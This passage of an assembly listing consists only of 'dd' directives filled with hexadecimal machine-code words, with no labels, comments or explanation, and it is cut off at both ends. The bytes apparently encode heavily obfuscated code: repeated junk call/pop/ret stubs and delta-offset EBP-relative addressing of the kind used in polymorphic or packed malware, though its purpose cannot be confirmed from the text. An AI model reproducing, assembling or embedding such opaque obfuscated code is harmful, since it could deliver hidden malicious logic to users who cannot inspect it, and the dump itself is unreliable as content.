858BB854h, 60323EDh dd 0EA02BB66h, 8B02C083h, 307D99Dh, 0DD858906h, 0F06034Ch dd 68Ch, 0B99D8900h, 0C6060319h, 0E381FF00h, 11458DCCh dd 1BA185C6h, 0F530603h, 587h, 0D228BA00h, 4E835DDh, 0D8000000h dd 8AFCB148h, 8B0F50F8h, 2, 448B3FB2h, 0F4B70424h, 49B3008Bh dd 4244489h, 78E0Fh, 0B0600000h, 0DF8B6687h, 9605861h dd 3294DBDh, 7D958B06h, 61060315h, 2471B5FFh, 0BF0F0603h dd 58858DDBh, 0E906067Ch, 0Ah, 0FA94E743h, 60BFC8EEh, 0D0FFE06Eh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 96C35343h dd 8BCBC6FFh, 32F6195h, 0A5858906h, 8B060323h, 317759Dh dd 69BD8306h, 1060326h, 13E850Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 480CC2C3h dd 65B9ECCAh, 894A3E28h, 3191DBDh, 6A6106h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0E8C891C3h dd 417438F5h, 9D892DCFh, 60319D5h, 1BA185C6h, 0F9450603h dd 0B5557D68h, 3DB860D2h, 0E90625CEh, 5, 636A1269h, 3481617Eh dd 0D56DBF24h, 0DEBA6608h, 0B99D8BC6h, 0FF060332h, 32471B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0FAC4AC00h, 12E9BEh, 45150000h, 286D446Fh dd 3543A3F6h, 4AF9E0F7h, 63C6555h, 7C58858Dh, 6A0606h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 7FC1AC3h, 0DB6FE2FCh, 0D0FFB5FFh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0DAC35646h, 668ACC01h, 6AE5B9BBh dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0DB9E6EF6h, 0DC8ADE8Bh, 8D29D0FFh, 6032AEDh dd 2CDBD83h, 0F010603h, 0CB85h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0F238137Dh dd 0E75BD29h, 858B0603h, 60323EDh, 68D0Fh, 8D0F0000h, 0 dd 6FE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 8C0F509Bh, 0Ch, 68B0Fh, 8F0F0000h dd 0 dd 0E9240489h, 0Eh, 4188017Eh, 8BFFB19Bh, 942A4A4Ch, 146A8E3Fh dd 95FFD38Ah, 60323A5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0CAC35040h, 58164BE1h, 0F003880h, 0FFFFA485h dd 0D7B70FFFh, 0E90100C6h, 0Ch, 0FE4B09DEh, 0CE69C4B1h dd 0FA600BB2h, 0A5958B61h, 83060309h, 31D91BDh, 840F0006h dd 1Eh, 0F82CFEBAh, 66FF6A56h, 0B34399BBh, 0A595FF7Dh dd 0E9060323h, 0FFFFFFEDh, 0F15958Bh, 85C70603h, 6031D91h dd 1, 1D698589h, 85890603h, 6034CE9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 65C35242h, 0DE83Eh, 0AD310000h dd 64CB702Ch, 8199BC4Dh, 0E98F8623h, 0Ah, 33D67D9Ch, 1AAB0AD7h dd 8B5B12A1h, 306ED9Dh, 0BA665006h, 489C270h, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0F607E3Ch, 56AD1BFh, 0BD5BDB81h, 858D1D78h, 6034D01h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 31C35242h dd 97D5B567h, 723893A7h, 1F0B95BBh, 0D38B6606h, 0F525050h dd 13E831h, 63940000h, 9EF59E80h, 0A1EFF150h, 9003B74Dh dd 9262C634h, 810FC4h, 5A000000h, 489585Ah, 85D28024h dd 4CF1858Dh, 800F0603h, 6, 1FB19589h, 60500603h, 0FE8h dd 597E8100h, 0B616AC8Ah, 4340EF6Ah, 0EA1BE80h, 5BD88B66h dd 5E616051h, 24048961h, 14BD958Bh, 95FF0603h, 6032385h dd 0E42EBA66h, 7AD98D8Dh, 6A0603h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 958BCFC3h, 60329EDh dd 1174C00Bh, 4D01858Dh, 0FF500603h, 1F8589D1h, 0EB06034Dh dd 1F85C70Ah, 0FF06034Dh, 0BFFFFFFh, 307E19Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8B61061Ch, 0A185C6D6h, 4D06031Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 54C35747h, 83EA8166h, 69958999h dd 68060323h, 95E464D5h, 7E9h, 352AF500h, 0E9C51D48h, 7D243481h dd 6A31D112h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0B45AC357h, 0FFECD380h, 32ABDB5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0B6B59EC0h, 892C9A4Fh, 305719Dh, 58858D06h dd 8106067Ch, 4CC111DAh, 0E8D0FF0Dh, 0Bh, 0DB640941h, 0CBF04AD2h dd 8BDE3FE4h, 32D3595h, 85895A06h, 60318A1h, 0C6D8B70Fh dd 31BA185h, 0CB814506h, 274221ECh, 0EBD02F68h, 72BA6634h dd 24048186h, 5986993Ah, 0F49958Bh, 0B5FF0603h, 6032471h dd 5FD28166h, 58858D1Ch, 0F06067Ch, 387h, 0DBB70F00h, 6AD0FFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0E9D13AC3h, 6, 0E078506Fh, 0B5293430h, 6030365h, 89D9EA80h dd 3077985h, 68B0F06h, 1000000h, 3291D85h, 459D8B06h, 8B060314h dd 56006AD2h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0B589EC50h, 6032511h, 1E318D29h, 8C660603h dd 819D03D9h, 0F6060303h, 840F04C1h, 2C5h, 311D9D29h, 64E90603h dd 0F000001h, 12E9D2BFh, 3C000000h, 3E6C0B1Eh, 3E7C8A6h dd 21A6D9C0h, 4731F214h, 99B58BE0h, 0E806031Ch, 0Ch, 4227B701h dd 9B76FEB6h, 48877A4Ch, 73D9D0Bh, 815B0603h, 1180C6h dd 0C9950B00h, 83060302h, 30CC1BDh, 850F0006h, 32h, 7E8h dd 4AAF500h, 9570F6A7h, 0EE8h, 154BDE00h, 82CBA693h, 90A0F0D9h dd 8B2348ABh, 31DA19Dh, 0E95B5A06h, 0C5h, 2231B529h, 3E830603h dd 0B6840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0EA9BC357h, 294782A1h dd 308D995h, 5880F06h, 0BB000000h, 1CF985DDh, 53006A60h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 5846CB9Ah, 1EFA243Ah, 2870F79h, 0B7000000h, 6A146A5Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 9DB0C353h, 4FD2DECEh, 5E8h, 58CBA400h, 8B66A7C9h dd 0B7535ADEh, 95FF5A28h, 60323A5h, 30F99D01h, 2B610603h dd 3139D9Dh, 61B50106h, 0E9060323h, 0FFFFFF46h, 596C5EBAh dd 106C721h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 83D8C355h, 34CE9BDh dd 850F0506h, 149h, 12E9h, 11947400h, 41CDF0DCh, 0ABF6A0E6h dd 0F13E1106h, 8B3E936Dh, 30779B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 99D8B03h, 0B906030Dh dd 64h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch dd 58C35040h, 7F37F006h, 52800720h, 0FE83E80h, 2C84h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0DF8B6B86h, 45E948B7h, 89000000h, 3311595h, 57E8006h dd 72840FC2h, 60000000h, 14E9h, 4C685200h, 4E647691h, 1C134150h dd 8260CA0h, 0B3E0713Dh, 0D68B668Fh, 12E961h, 0DD010000h dd 2A9E2F4Eh, 0EE264AA0h, 1942B0BCh, 0EC8CDCEDh, 5CC28146h dd 493170F5h, 0FF7E850Fh, 9D8BFFFFh, 6030741h, 54E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0A0B04A92h, 4DC1C350h, 0B9B589D7h, 6A06031Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 457C353h, 82F49272h, 0E430309Ch, 7EA8166h, 9D895897h dd 6030831h, 29A9BD83h, 0F000603h, 0F384h, 0D98B6600h dd 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 958B6701h, 6030E0Dh, 1BA185C6h, 31540603h dd 30E5185h, 90126806h, 0E857872Fh, 0Bh, 2B12D040h, 462BEC3Ch dd 66A9E1B8h, 5B5ADA8Bh, 0E2240481h, 0BB781F2Eh, 10CB45FFh dd 2471B5FFh, 81560603h, 775554CAh, 858D5A74h, 6067C58h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 2C35040h dd 63E3EFA3h, 8B05C581h, 309859Dh, 89D0FF06h, 324118Dh dd 6A006A06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 687CC357h, 0A9B5FFC6h, 0B2060329h dd 66D0FF72h, 6A61DF8Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 80FCC353h, 9D015EEFh dd 6032C21h, 210D85C7h, 10603h, 0BD890000h, 6032655h, 29958B60h dd 0E806031Dh, 4, 80h, 0BB50FA8Ah, 5513A7Ch, 424448Bh dd 7932EEBBh, 0E8008B7Dh, 13h, 96B96FF0h, 118AFCEFh, 6D5379FAh dd 0F9ACC38Dh, 0B2D8293Eh, 44895B87h, 0A6B60424h, 53006A58h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 7A1F3427h, 9D33FF6Ah, 6031A3Dh, 25E5950Bh dd 95FF0603h, 6031369h, 61FCE680h, 2AD59D8Bh, 0E8500603h dd 0Eh, 0CD4F7FACh, 0CF6957B6h, 0DA2D9145h, 0EEBBC799h dd 5B48715Ch, 66240489h, 858BD68Bh, 6031671h, 13E9h, 0A18EFE00h dd 8580D0BEh, 44A4EBB5h, 2C2CE980h, 0B41F2E01h, 0FC00BF8h dd 5184h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 5F0A5340h, 866D22E8h, 0BB66D78Bh dd 95FF0ED8h, 6032F11h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 83C35141h, 7E19589h, 85C70603h, 6032195h dd 1, 12E8h, 767E1400h, 31281E1Bh, 11A7459Dh, 29EAB36Dh dd 2B2332CCh, 330519Dh, 0BD835B06h, 60321ADh, 49840F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 0F71FC352h, 0BDF8B1CAh, 170995FFh dd 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 8B2FEFC3h, 0D3BF0FD0h, 0B01BD83h, 0F000603h dd 3B84h, 8B665000h, 9E95AD3h, 0B3000000h, 8EBADCD3h, 0B8295E25h dd 49995FFh, 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 9D8BC7C3h, 6032E45h, 1D39BD83h dd 0F000603h, 3B84h, 8D8B6000h, 6031F8Dh, 13E9h, 0ED6DB300h dd 1A1648A8h, 64F9E22Eh, 0BB48B38Bh, 58DD93BAh, 89BD8361h dd 6030Bh, 0E850Fh, 958B0000h, 603238Dh, 20F195FFh, 0ABB70603h dd 1451BD83h, 0F000603h, 2984h, 0C3816600h, 85818D59h dd 6031A9Dh, 4003h, 2601958Bh, 7BBA0603h, 8163FCD5h, 3073985h dd 400306h, 0DB816600h, 310F3BADh, 6860Fh, 9D0B0000h, 6032E6Dh dd 5CC98D8Dh, 8D890603h, 6032E45h, 189F38Ah, 0D0D9D8Bh dd 95890603h, 6032C61h, 0E280C233h, 44189B4h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0E9C35343h, 89867521h dd 31F8DBDh, 66310F06h, 8DD600BBh, 35CDE8Dh, 17870F06h dd 0E8000000h, 0Fh, 2554F1C7h, 0D16931BCh, 0C3E66212h dd 538BA73Fh, 1895A5Bh, 909950Bh, 0C2330603h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0BAC35242h, 31299D8Bh dd 0C5BA0603h, 8970A653h, 8B660441h, 91BD83DEh, 60313h dd 3E840Fh, 0AE90000h, 33000000h, 0C6E63F7Ch, 0C82F28BCh dd 0E995FF26h, 6A06031Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 7DD4C352h, 94C747DEh dd 958BF48Ah, 60320B1h, 7CDBD83h, 0F010603h, 5385h, 0EB815300h dd 3E9F3582h, 45E9F85Ah, 0F8000000h, 5E05B58Bh, 6C70603h dd 0 dd 5BD1B58Bh, 6C70603h, 0 dd 53006ACFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 79ADAC37h, 71456FACh, 85952B53h, 5B06030Fh dd 2195BD83h, 0F000603h, 20684h, 9CBB6600h, 5BD83BEh, 1060326h dd 1DF850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 0B52FABC3h, 3D958B0Dh, 8B06031Ah dd 34CDD8Dh, 8D8B6006h, 6030F01h, 9E9h, 0B78CF500h, 0F0958F48h dd 8161C52Ch, 6059B5F2h, 1C657h, 0F159D2Bh, 9D330603h dd 6032251h, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 8580D0BEh, 44A4EBB5h, 4E8E980h, 80000000h dd 0BB000000h, 513EF58Dh, 29A1BA50h, 448B1FCEh, 8B660424h dd 50008BDFh, 0E9525052h, 0Ch, 244E307Ah, 0E3E4EF8Eh, 1E6A4F86h dd 5250310Fh, 585A310Fh, 310F585Ah, 11E956h, 19180000h dd 0DEBB9C7Bh, 6376F6B5h, 0A740732Ah, 5BC5A962h, 4489585Ah dd 0DFBB0424h, 582123FBh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 1AC35242h, 0A7717A6Eh, 11E960h, 0D0CB0000h dd 14B54477h, 605376A6h, 75489DB2h, 0E834ECD7h, 0Ch, 5F4F2183h dd 33005787h, 0B1C53559h, 5E9h, 0D56BE200h, 615F2F6Dh dd 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 95FFECC3h, 6031369h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0D1C35545h, 0B5FBDA57h, 6A611501h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0C8F6C356h, 0CB1B49D7h, 1A2861h, 30D995FFh dd 66600603h, 29812FBBh, 3092DBDh, 8D8B6106h, 6034CDDh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0AFC35040h dd 8AA5B87Ah, 8901FE20h, 30E759Dh, 5DBD8306h, 1060300h dd 9850Fh, 860F0000h, 3, 8BDA8B66h, 52006AC0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 9BAAD27Bh dd 9D8B3F40h, 6033089h, 4E5BD83h, 75000603h, 39BD8309h dd 60323h, 53501A74h, 858BC08Bh, 6031A9Dh, 1A9D8589h, 9D8D0603h dd 605B5BFh, 585BD3FFh, 2339BD83h, 74000603h, 8B535018h dd 31A9D85h, 9D858906h, 8D06031Ah, 5B2AE9Dh, 5BD3FF06h dd 918D8958h, 6A060321h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 3887C355h, 0D5926D76h dd 8589600Eh, 6032C81h, 8558589h, 8B610603h, 26E280C0h dd 2195BD83h, 0F000603h, 4985h, 6E85600h, 0EE000000h, 4C24B435h dd 13E98Dh, 3C9C0000h, 75F9D56Fh, 0A656974Eh, 0C33BCE10h dd 924C5302h, 835B5A1Eh, 32435BDh, 840F0006h, 16h, 3CFCBB66h dd 0AE8h, 3D3D9C00h, 6B2F4154h, 8B481A60h, 0BD835BDFh dd 6032195h, 2E840F00h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0DFDEC356h dd 0BD83D72Ah, 6030471h, 2840F00h, 0B3000000h, 95BD8377h dd 60321h, 38840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 8FED0AC3h, 49952B60h dd 0F8060325h, 471BD83h, 0F000603h, 584h, 0C2816600h, 0BD835E7Ch dd 6032195h, 1F840F00h, 89000000h, 330C98Dh, 41BD8306h dd 60308h, 0C840Fh, 958B0000h, 60313C9h, 2E199533h, 0BD830603h dd 6032195h, 1B840F00h, 0B6000000h, 1DBD83FBh, 60307h dd 0C840Fh, 85890000h, 60332BDh, 0DD595FFh, 0C08B0603h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 73C35040h dd 0E5BD8361h, 60304h, 0BD830975h, 6032339h, 501A7400h dd 8BC08B53h, 3073985h, 39858906h, 8D060307h, 5B6269Dh dd 5BD3FF06h, 39BD8358h, 60323h, 53501874h, 739858Bh, 85890603h dd 6030739h, 0B2C79D8Dh, 0D3FF0605h, 0BE8585Bh, 70000000h dd 16A764D5h, 964828CFh, 0BF0F5068h, 85895ADAh, 603239Dh dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 68BC86C3h, 0B01B8006h, 18719D89h, 0BD830603h dd 6032195h, 24840F00h, 8B000004h, 69BD83D0h, 2060326h dd 48840Fh, 8C0F0000h, 0Bh, 6E9h, 0F26EC200h, 83A9FEF3h dd 307CDBDh, 850F0106h, 2Ah, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 59C35141h, 990DAA14h, 0A7364A90h dd 2A719D8Bh, 0BD830603h, 60304F1h, 84840F00h, 0BB000000h dd 1A2926B8h, 2ED18D01h, 0E9600603h, 0Ah, 0A7D2E693h, 26AE6964h dd 8D8BCC4Ah, 6034CDDh, 8810Fh, 8C0F0000h, 2, 1FEF6B6h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0B7C35242h dd 8589F89Dh, 603244Dh, 594C9D68h, 24348154h, 54594C1Dh dd 6E8h, 39654000h, 8B1B3413h, 0FF6A5BDEh, 0DE80EA81h dd 95FF7289h, 6031369h, 1A118D01h, 60610603h, 8BD38B66h dd 34CDD8Dh, 81B52906h, 0FE060320h, 1C870F01h, 0F000000h dd 1685h, 11E900h, 0EB610000h, 0D357D0h, 7A594E5Fh, 0D3C22402h dd 680018DDh, 0CB34259h, 0AE8h, 5269300h, 79D6BEAh, 5AF98C37h dd 0D9243481h, 8B0CB342h, 89FF6ADAh, 30AFD85h, 6995FF06h dd 61060313h, 0C9BD2960h, 3060315h, 30B09BDh, 66606106h dd 0E86F16B9h, 0Fh, 0C9F9FA8h, 0D0F64717h, 6DD4B708h, 8087C9F8h dd 615E51DDh, 501BD8Dh, 8BF50603h, 6A1C4Fh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 61F8D5C3h dd 29D98B66h, 308498Dh, 81016A06h, 0C01AE7CAh, 6810F67h dd 8B000000h, 300059Dh, 0D18B5006h, 6A240C89h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 8309C357h, 6699CB73h, 398FDA81h, 3A6C858Dh, 0F1BB0606h dd 0FF361493h, 99509D0h, 8B060307h, 0EEB6204Fh, 50036AFCh dd 8B665250h, 0E9310FD3h, 12h, 0C9206153h, 0CC27915Fh dd 25165DF0h, 9831BD16h, 585A5156h, 6A240C89h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 28B8C357h, 0D380981Bh, 6C858DF7h, 0E906063Ah, 8, 0CBB6E9EAh dd 990EEF2h, 0BD89D0FFh, 6031A1Dh, 501BD8Dh, 958B0603h dd 60312FDh, 661C4F8Bh, 0D6F5E281h, 6A016Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0B598C3h dd 0DF4FA1E1h, 880FD855h, 3, 915CC380h, 8E85250h, 0FF000000h dd 8057077Dh, 6005E202h, 310F5A61h, 585AF58Ah, 21BBBB50h dd 669117FFh, 8DF3C1BAh, 63A6C85h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 29C6CDDFh dd 39100730h, 0C780B5D0h, 29D0FF80h, 31D2995h, 204F8B06h dd 13AD958Bh, 78BA0603h, 6A1323FAh, 53006A03h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0A227D7E6h, 0E92295D1h, 9, 159B656Ah, 673768A3h, 0AE9506Bh dd 0 dd 0D1F1BA01h, 0A8B3D4Ah, 240C8907h, 5BDC8A57h, 3A6C858Dh dd 800F0606h, 6, 909958Bh, 0D0FF0603h, 18882ABBh, 0DD8D8B15h dd 6606034Ch, 4CAFCB81h, 6A01FEh, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0FDFEDFC3h, 66600B82h dd 0E956CB8Bh, 0Ah, 0C5B652Ah, 77914F93h, 615AD54Fh, 4CDD858Bh dd 0DE90603h, 0AB000000h, 75EDBB0h, 1F0C877Eh, 9614E582h dd 0C38100FEh, 1EBB22E6h, 9D0B016Ah, 6030A5Dh, 9F101168h dd 6E9E5h, 0DDD00000h, 0B4C2F707h, 0EE243481h, 8B1A608Fh dd 3057195h, 76858D06h, 8106063Ah, 0BE4596F2h, 6AD0FF2Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0B69BC357h, 83F6B8A5h, 32435BDh, 840F0006h dd 123h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0C1C35646h, 8E96B26h, 53000000h, 0BC88F68Fh, 83E2820Ah dd 31D89BDh, 850F0106h, 0EBh, 26BD952Bh, 8D8D0603h, 6063A80h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 4AC35646h dd 145A4F76h, 8A0F925Dh, 4, 6A98BA66h, 0F281036Ah, 69B473F4h dd 0FE9h, 8CF7600h, 0D420B69Ch, 731728D4h, 8651973Fh, 0D281016Ah dd 2CF0B845h, 6AD1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 509CA2C3h, 85897C0Fh, 60302C1h dd 1DA59D8Bh, 16A0603h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0ECC35646h, 0D2480425h, 9D8B2189h, 60315B1h dd 6A016Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 5F0B1FC3h, 2D958B63h, 0FF060308h, 0C18D89D1h dd 0E8060324h, 0FA585D41h, 6A9BCB80h, 55006A20h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 9D8B560Bh, 6033095h, 9E95Ah, 1B5C0000h, 0CBA55B9Ch dd 8A45B67Bh, 60FF6AFCh, 2D6D858Bh, 0C4800603h, 95FF61E3h dd 6031369h, 0B8E9E780h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0ACC35040h dd 0B71547CCh, 1F65B65Bh, 0C00BF98Ah, 66840Fh, 89600000h dd 3087DB5h, 8A0F5706h, 0 dd 0F8606159h, 0CB9FACB9h, 0BD836121h, 6031DF9h, 41840F00h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0CE22C350h, 1CF995FFh, 6A0603h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0D10045C3h, 23ED858Bh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 8A85CBC3h, 0C6F0h, 6A58F18Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0CCCFC355h, 2952F918h, 320B185h, 0B7F38106h dd 66647BA2h, 6656D98Ch, 5A69DDBBh, 0F04C1F6h, 5584h, 1D958B00h dd 0E9060329h, 4Ah, 30F1952Bh, 0B58B0603h, 6031C99h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 88C35343h, 5C0CF6DBh dd 89BDA0F3h, 321358Dh, 80C68106h, 80000011h, 6C72AE2h dd 0 dd 1AB99D0Bh, 0F5E0603h, 38Ah, 5EC38000h, 0F00F883h, 0B7984h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0A2A99914h, 0C9E15873h, 3870F8Eh, 66000000h dd 83F9D38Bh, 850F01F8h, 159h, 9E9h, 479E0200h, 86984107h dd 0B83966h, 0E8000000h, 6, 0EDFC08AFh, 95897A61h, 6032DA9h dd 0FC00B5Bh, 0DC84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 0F883D079h, 0CA840F01h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 8BDDC356h, 3302D9Dh, 3F88306h dd 4E840Fh, 0E7BA0000h, 0B8055223h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 70C35545h dd 0D0170FF1h, 25599D31h, 0BD8D0603h, 5B7974h, 16399D8Bh dd 0E7FF0603h, 95895160h, 6030C81h, 0B985335Bh, 6106030Eh dd 1B8h, 0E99D8B00h, 8D06032Dh, 5B7974BDh, 0FFBAB300h dd 52006AE7h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 7818E57Eh, 9D8BC798h, 6032E41h, 69BD8DF5h dd 89060343h, 306E995h, 27AE906h, 8AFC0000h, 3885C7D1h dd 506034Dh, 8B000000h, 30B2995h, 71E28006h, 5B8h, 14E900h dd 2AF20000h, 6D6719ECh, 616C04B9h, 2DF1FE8Bh, 8BAC15BAh dd 32E93A5Bh, 1000009h, 305859Dh, 2F88306h, 0EE850Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0B8FF6EC3h, 0 dd 0D5FD9DBBh, 0FC00B5Dh, 6584h, 83D38B00h, 840F01F8h dd 0FFFFFF81h, 0D8DAD381h, 0F8831B5Bh, 21840F03h, 89FFFFFFh dd 32E8D9Dh, 0B806h, 958B0000h, 603049Dh, 7974BD8Dh, 6A005Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0F835DAC3h, 0B08134C1h, 0F5DAFBD1h, 2B60E7FFh, 32E95BDh dd 5DBE6606h, 0BD8D6168h, 6034561h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 8CC35545h, 130D9D01h, 81660603h dd 0E9E1AADAh, 16Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0E6C35747h, 5306CD9Fh, 9D8B2870h, 6032939h dd 0F03F883h, 1B85h, 8DDA8B00h, 346F5BDh, 2DE9F806h, 0E9000001h dd 8, 9CCEAB7Eh, 6E620A9Ch, 0F05F883h, 3485h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0BD7C795Dh, 9E39DEFh, 0C3818586h, 62750748h, 7D8E9h dd 8FBB6600h, 6F8837Fh, 2D850Fh, 81660000h, 0E93640D3h dd 13h, 51588380h, 841E9FA1h, 223E5005h, 7390D873h, 8D6CB046h dd 348EDBDh, 0EDEA8006h, 0AFE9h, 838EB200h, 850F07F8h dd 75h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h dd 33C35545h, 8D773182h, 300B5BDh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 77345F86h dd 451B93F8h, 85895655h, 6031719h, 0DFE9h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 6B6AAABBh, 0AF8831Dh, 26850Fh, 8E0F0000h, 6, 1A119D8Bh dd 0B5890603h, 6031751h, 4AE5BD8Dh, 9D230603h, 603036Dh dd 2E9F9h, 0D38B0000h, 5BEB8057h, 9C621BB9h, 61BD2974h dd 0BA060300h, 5A0DE212h, 0F003F83h, 5B84h, 0DA8B6600h dd 6A0F30h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 9ABF62C3h, 3CFEBCBCh, 6AC9D171h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 